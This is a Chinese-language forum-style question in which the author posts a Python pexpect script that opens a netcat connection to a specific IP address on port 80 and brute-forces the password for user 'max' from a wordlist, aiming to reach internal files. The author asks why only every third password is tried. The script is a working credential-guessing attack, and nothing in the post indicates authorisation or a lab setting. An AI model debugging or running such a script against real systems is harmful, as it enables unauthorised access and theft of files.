我编写了一个连接到端口80上的服务器的程序,目标是强制登录以获取对内部文件的访问权限。
我正在使用john.txt作为我的密码列表,我知道这个列表包含我需要的密码。当我运行程序时,它开始尝试不同的密码,但它只测试列表中的每个第3个密码。
这是我的代码:
import pexpect
password_list = 'john.txt'
passwords = open(password_list)
child = pexpect.spawn('nc 83.212.97.72 80')
for x in passwords.readlines():
ans = child.expect(['Login:', 'Password:', 'Login Incorrect', 'Too many failed attempts', 'Welcome max'])
if ans == 0:
child.sendline('max')
elif ans == 1:
child.sendline(x)
print 'Attemping {}'.format(x)
elif ans == 2:
child = pexpect.spawn('nc 83.212.97.72 80')
elif ans == 3:
child = pexpect.spawn('nc 83.212.97.72 80')
elif ans == 4:
print 'Login completed, welcome max'
据我所知,我的代码中没有语法错误,有没有人知道为什么程序只测试john.txt中的每个第三个密码?